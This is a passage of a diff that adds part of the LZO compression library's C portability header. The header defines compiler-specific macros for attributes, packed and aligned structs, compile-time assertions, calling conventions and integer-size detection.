__lzo_noreturn /*empty*/ +#endif +#if !defined(__lzo_nothrow) +#if (LZO_CC_GNUC >= 0x030300ul) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus) +# define __lzo_nothrow __declspec(nothrow) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900)) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus) +# define __lzo_nothrow __declspec(nothrow) +#endif +#endif +#if defined(__lzo_nothrow) +# ifndef __lzo_HAVE_nothrow +# define __lzo_HAVE_nothrow 1 +# endif +#else +# define __lzo_nothrow /*empty*/ +#endif +#if !defined(__lzo_restrict) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_IBMC >= 1210) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_MSC && (_MSC_VER >= 1400)) +# define __lzo_restrict __restrict +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_restrict __restrict__ +#endif +#endif +#if defined(__lzo_restrict) +# ifndef __lzo_HAVE_restrict +# define __lzo_HAVE_restrict 1 +# endif +#else +# define __lzo_restrict /*empty*/ +#endif +#if !defined(__lzo_alignof) +#if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_GHS) && !defined(__cplusplus) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_IBMC >= 600) +# define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e)) +#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700)) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_alignof(e) __alignof(e) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_alignof(e) __alignof__(e) +#endif +#endif +#if defined(__lzo_alignof) +# ifndef __lzo_HAVE_alignof +# define __lzo_HAVE_alignof 1 +# endif +#endif +#if !defined(__lzo_struct_packed) +#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) +#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) +#elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) +# define __lzo_struct_packed(s) struct s { +# define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__)); +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_struct_packed(s) struct s { +# define __lzo_struct_packed_end() } __attribute__((__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_IBMC >= 700) +# define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s { +# define __lzo_struct_packed_end() } __attribute__((__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s { +# define __lzo_struct_packed_end() } __pragma(pack(pop)); +#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) +# define __lzo_struct_packed(s) _Packed struct s { +# define __lzo_struct_packed_end() }; +#endif +#endif +#if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma) +# define __lzo_struct_packed_ma(s) __lzo_struct_packed(s) +#endif +#if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end) +# define __lzo_struct_packed_ma_end() __lzo_struct_packed_end() +#endif +#if !defined(__lzo_byte_struct) +#if defined(__lzo_struct_packed) +# define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end() +# define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end() +#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__)); +# define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__)); +#endif +#endif +#if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma) +# define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n) +#endif +#if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof) +#if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul)) +#elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_CILLY || LZO_CC_PCC) +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_struct_align16(s) struct __declspec(align(16)) s { +# define __lzo_struct_align16_end() }; +# define __lzo_struct_align32(s) struct __declspec(align(32)) s { +# define __lzo_struct_align32_end() }; +# define __lzo_struct_align64(s) struct __declspec(align(64)) s { +# define __lzo_struct_align64_end() }; +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_struct_align16(s) struct s { +# define __lzo_struct_align16_end() } __attribute__((__aligned__(16))); +# define __lzo_struct_align32(s) struct s { +# define __lzo_struct_align32_end() } __attribute__((__aligned__(32))); +# define __lzo_struct_align64(s) struct s { +# define __lzo_struct_align64_end() } __attribute__((__aligned__(64))); +#endif +#endif +#if !defined(__lzo_union_um) +#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810)) +#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) +#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_union_am(s) union s { +# define __lzo_union_am_end() } __lzo_may_alias; +# define __lzo_union_um(s) union s { +# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_IBMC >= 700) +# define __lzo_union_am(s) __lzo_gnuc_extension__ union s { +# define __lzo_union_am_end() } __lzo_may_alias; +# define __lzo_union_um(s) __lzo_gnuc_extension__ union s { +# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_union_um(s) __pragma(pack(push,1)) union s { +# define __lzo_union_um_end() } __pragma(pack(pop)); +#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) +# define __lzo_union_um(s) _Packed union s { +# define __lzo_union_um_end() }; +#endif +#endif +#if !defined(__lzo_union_am) +# define __lzo_union_am(s) union s { +# define __lzo_union_am_end() }; +#endif +#if !defined(__lzo_constructor) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_constructor __attribute__((__constructor__,__used__)) +#elif (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_constructor __attribute__((__constructor__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_constructor __attribute__((__constructor__,__used__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_constructor __attribute__((__constructor__)) +#endif +#endif +#if defined(__lzo_constructor) +# ifndef __lzo_HAVE_constructor +# define __lzo_HAVE_constructor 1 +# endif +#endif +#if !defined(__lzo_destructor) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_destructor __attribute__((__destructor__,__used__)) +#elif (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_destructor __attribute__((__destructor__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_destructor __attribute__((__destructor__,__used__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_destructor __attribute__((__destructor__)) +#endif +#endif +#if defined(__lzo_destructor) +# ifndef __lzo_HAVE_destructor +# define __lzo_HAVE_destructor 1 +# endif +#endif +#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor) +# error "unexpected configuration - check your compiler defines" +#endif +#if !defined(__lzo_likely) && !defined(__lzo_unlikely) +#if (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_IBMC >= 1010) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800)) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#endif +#endif +#if defined(__lzo_likely) +# ifndef __lzo_HAVE_likely +# define __lzo_HAVE_likely 1 +# endif +#else +# define __lzo_likely(e) (e) +#endif +#if defined(__lzo_unlikely) +# ifndef __lzo_HAVE_unlikely +# define __lzo_HAVE_unlikely 1 +# endif +#else +# define __lzo_unlikely(e) (e) +#endif +#if !defined(__lzo_static_unused_void_func) +# if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void) +# else +# define __lzo_static_unused_void_func(f) static __lzo_inline void f(void) +# endif +#endif +#if !defined(__lzo_loop_forever) +# if (LZO_CC_IBMC) +# define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END +# else +# define __lzo_loop_forever() do { ; } while __lzo_cte(1) +# endif +#endif +#if !defined(__lzo_unreachable) +#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul)) +# define __lzo_unreachable() __builtin_unreachable(); +#elif (LZO_CC_GNUC >= 0x040500ul) +# define __lzo_unreachable() __builtin_unreachable(); +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1 +# define __lzo_unreachable() __builtin_unreachable(); +#endif +#endif +#if defined(__lzo_unreachable) +# ifndef __lzo_HAVE_unreachable +# define __lzo_HAVE_unreachable 1 +# endif +#else +# if 0 +# define __lzo_unreachable() ((void)0); +# else +# define __lzo_unreachable() __lzo_loop_forever(); +# endif +#endif +#ifndef __LZO_CTA_NAME +#if (LZO_CFG_USE_COUNTER) +# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__) +#else +# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__) +#endif +#endif +#if !defined(LZO_COMPILE_TIME_ASSERT_HEADER) +# if (LZO_CC_AZTECC || LZO_CC_ZORTECHC) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_DMC || LZO_CC_SYMANTECC) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END +# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END +# else +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END +# endif +#endif +#if !defined(LZO_COMPILE_TIME_ASSERT) +# if (LZO_CC_AZTECC) +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];} +# elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) +# define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));} +# elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus) +# define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));} +# elif (LZO_CC_GNUC >= 0x040700ul) +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));} +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# else +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];} +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1) +#if defined(__cplusplus) +extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) } +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3) +#if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC) +# elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) +# define __lzo_cdecl __cdecl +# define __lzo_cdecl_atexit /*empty*/ +# define __lzo_cdecl_main __cdecl +# if (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) +# define __lzo_cdecl_qsort __pascal +# elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) +# define __lzo_cdecl_qsort _stdcall +# else +# define __lzo_cdecl_qsort __cdecl +# endif +# elif (LZO_CC_WATCOMC) +# define __lzo_cdecl __cdecl +# else +# define __lzo_cdecl __cdecl +# define __lzo_cdecl_atexit __cdecl +# define __lzo_cdecl_main __cdecl +# define __lzo_cdecl_qsort __cdecl +# endif +# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC || LZO_CC_WATCOMC) +# elif (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) +# define __lzo_cdecl_sighandler __pascal +# elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) +# define __lzo_cdecl_sighandler _stdcall +# elif (LZO_CC_MSC && (_MSC_VER >= 1400)) && defined(_M_CEE_PURE) +# define __lzo_cdecl_sighandler __clrcall +# elif (LZO_CC_MSC && (_MSC_VER >= 600 && _MSC_VER < 700)) +# if defined(_DLL) +# define __lzo_cdecl_sighandler _far _cdecl _loadds +# elif defined(_MT) +# define __lzo_cdecl_sighandler _far _cdecl +# else +# define __lzo_cdecl_sighandler _cdecl +# endif +# else +# define __lzo_cdecl_sighandler __cdecl +# endif +#elif (LZO_ARCH_I386) && (LZO_CC_WATCOMC) +# define __lzo_cdecl __cdecl +#elif (LZO_ARCH_M68K && LZO_OS_TOS && (LZO_CC_PUREC || LZO_CC_TURBOC)) +# define __lzo_cdecl cdecl +#endif +#if !defined(__lzo_cdecl) +# define __lzo_cdecl /*empty*/ +#endif +#if !defined(__lzo_cdecl_atexit) +# define __lzo_cdecl_atexit /*empty*/ +#endif +#if !defined(__lzo_cdecl_main) +# define __lzo_cdecl_main /*empty*/ +#endif +#if !defined(__lzo_cdecl_qsort) +# define __lzo_cdecl_qsort /*empty*/ +#endif +#if !defined(__lzo_cdecl_sighandler) +# define __lzo_cdecl_sighandler /*empty*/ +#endif +#if !defined(__lzo_cdecl_va) +# define __lzo_cdecl_va __lzo_cdecl +#endif +#if !(LZO_CFG_NO_WINDOWS_H) +#if !defined(LZO_HAVE_WINDOWS_H) +#if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000)) +# elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__) +# elif ((LZO_OS_CYGWIN || defined(__MINGW32__)) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x025f00ul))) +# else +# define LZO_HAVE_WINDOWS_H 1 +# endif +#endif +#endif +#endif +#ifndef LZO_SIZEOF_SHORT +#if defined(SIZEOF_SHORT) +# define LZO_SIZEOF_SHORT (SIZEOF_SHORT) +#elif defined(__SIZEOF_SHORT__) +# define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__) +#endif +#endif +#ifndef LZO_SIZEOF_INT +#if defined(SIZEOF_INT) +# define LZO_SIZEOF_INT (SIZEOF_INT) +#elif defined(__SIZEOF_INT__) +# define LZO_SIZEOF_INT (__SIZEOF_INT__) +#endif +#endif +#ifndef LZO_SIZEOF_LONG +#if defined(SIZEOF_LONG) +# define LZO_SIZEOF_LONG (SIZEOF_LONG) +#elif defined(__SIZEOF_LONG__) +# define LZO_SIZEOF_LONG (__SIZEOF_LONG__) +#endif +#endif +#ifndef LZO_SIZEOF_LONG_LONG +#if defined(SIZEOF_LONG_LONG) +# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG) +#elif defined(__SIZEOF_LONG_LONG__) +# define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__) +#endif +#endif +#ifndef LZO_SIZEOF___INT16 +#if defined(SIZEOF___INT16) +# define LZO_SIZEOF___INT16 (SIZEOF___INT16) +#endif +#endif +#ifndef LZO_SIZEOF___INT32 +#if defined(SIZEOF___INT32) +# define LZO_SIZEOF___INT32 (SIZEOF___INT32) +#endif +#endif +#ifndef LZO_SIZEOF___INT64 +#if defined(SIZEOF___INT64) +# define LZO_SIZEOF___INT64 (SIZEOF___INT64) +#endif +#endif +#ifndef LZO_SIZEOF_VOID_P +#if defined(SIZEOF_VOID_P) +# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P) +#elif defined(__SIZEOF_POINTER__) +# define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__) +#endif +#endif +#ifndef LZO_SIZEOF_SIZE_T +#if defined(SIZEOF_SIZE_T) +# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T) +#elif defined(__SIZEOF_SIZE_T__) +# define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__) +#endif +#endif +#ifndef LZO_SIZEOF_PTRDIFF_T +#if defined(SIZEOF_PTRDIFF_T) +# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T) +#elif defined(__SIZEOF_PTRDIFF_T__) +# define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__) +#endif +#endif +#define __LZO_LSR(x,b) (((x)+0ul) >> (b)) +#if !defined(LZO_SIZEOF_SHORT) +# if (LZO_ARCH_CRAY_PVP) +# define LZO_SIZEOF_SHORT 8 +# elif (USHRT_MAX == LZO_0xffffL) +# define LZO_SIZEOF_SHORT 2 +# elif (__LZO_LSR(USHRT_MAX,7) == 1) +# define LZO_SIZEOF_SHORT 1 +# elif (__LZO_LSR(USHRT_MAX,15) == 1) +# define LZO_SIZEOF_SHORT 2 +# elif (__LZO_LSR(USHRT_MAX,31) == 1) +# define LZO_SIZEOF_SHORT 4 +# elif (__LZO_LSR(USHRT_MAX,63) == 1) +# define LZO_SIZEOF_SHORT 8 +# elif (__LZO_LSR(USHRT_MAX,127) == 1) +# define LZO_SIZEOF_SHORT 16 +# else +# error "LZO_SIZEOF_SHORT" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short)) +#if !defined(LZO_SIZEOF_INT) +# if (LZO_ARCH_CRAY_PVP) +# define LZO_SIZEOF_INT 8 +# elif (UINT_MAX == LZO_0xffffL) +# define LZO_SIZEOF_INT 2 +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_SIZEOF_INT 4 +# elif (__LZO_LSR(UINT_MAX,7) == 1) +# define LZO_SIZEOF_INT 1 +# elif (__LZO_LSR(UINT_MAX,15) == 1) +# define LZO_SIZEOF_INT 2 +# elif (__LZO_LSR(UINT_MAX,31) == 1) +# define LZO_SIZEOF_INT 4 +# elif (__LZO_LSR(UINT_MAX,63) == 1) +# define LZO_SIZEOF_INT 8 +# elif (__LZO_LSR(UINT_MAX,127) == 1) +# define LZO_SIZEOF_INT 16 +# else +# error "LZO_SIZEOF_INT" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int)) +#if !defined(LZO_SIZEOF_LONG) +# if (ULONG_MAX == LZO_0xffffffffL) +# define LZO_SIZEOF_LONG 4 +# elif (__LZO_LSR(ULONG_MAX,7) == 1) +# define LZO_SIZEOF_LONG 1 +# elif (__LZO_LSR(ULONG_MAX,15) == 1) +# define LZO_SIZEOF_LONG 2 +# elif (__LZO_LSR(ULONG_MAX,31) == 1) +# define LZO_SIZEOF_LONG 4 +# elif (__LZO_LSR(ULONG_MAX,39) == 1) +# define LZO_SIZEOF_LONG 5 +# elif (__LZO_LSR(ULONG_MAX,63) == 1) +# define LZO_SIZEOF_LONG 8 +# elif (__LZO_LSR(ULONG_MAX,127) == 1) +# define LZO_SIZEOF_LONG 16 +# else +# error "LZO_SIZEOF_LONG" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long)) +#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) +#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) +# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__) +# if (LZO_CC_GNUC >= 0x030300ul) +# if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0)) +# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG +# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1) +# define LZO_SIZEOF_LONG_LONG 4 +# endif +# endif +# endif +#endif +#endif +#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) +#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) +#if (LZO_ARCH_I086 && LZO_CC_DMC) +#elif (LZO_CC_CILLY) && defined(__GNUC__) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_SIZEOF_LONG_LONG 8 +#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_OS_WIN64 || defined(_WIN64)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_DMC)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700))) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__))) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC)) +# define LZO_SIZEOF___INT64 8 +#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520))) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100))) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64)) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64)) +# define LZO_SIZEOF___INT64 8 +#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64) +# define LZO_SIZEOF_LONG_LONG 8 +#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2) +#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) +# define LZO_SIZEOF_LONG_LONG 8 +#endif +#endif +#endif +#if defined(__cplusplus) && (LZO_CC_GNUC) +# if (LZO_CC_GNUC < 0x020800ul) +# undef LZO_SIZEOF_LONG_LONG +# endif +#endif +#if (LZO_CFG_NO_LONG_LONG) +# undef LZO_SIZEOF_LONG_LONG +#elif defined(__NO_LONG_LONG) +# undef LZO_SIZEOF_LONG_LONG +#elif defined(_NO_LONGLONG) +# undef LZO_SIZEOF_LONG_LONG +#endif +#if !defined(LZO_WORDSIZE) +#if (LZO_ARCH_ALPHA) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_AMD64) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_AVR) +# define LZO_WORDSIZE 1 +#elif (LZO_ARCH_H8300) +# if defined(__NORMAL_MODE__) +# define LZO_WORDSIZE 4 +# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_WORDSIZE 4 +# else +# define LZO_WORDSIZE 2 +# endif +#elif (LZO_ARCH_I086) +# define LZO_WORDSIZE 2 +#elif (LZO_ARCH_IA64) +# define LZO_WORDSIZE 8 +#elif (LZO_ARCH_M16C) +# define LZO_WORDSIZE 2 +#elif (LZO_ARCH_SPU) +# define LZO_WORDSIZE 4 +#elif (LZO_ARCH_Z80) +# define LZO_WORDSIZE 1 +#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) +# define LZO_WORDSIZE 8 +#elif (LZO_OS_OS400 || defined(__OS400__)) +# define LZO_WORDSIZE 8 +#elif (defined(__vms) || defined(__VMS)) && 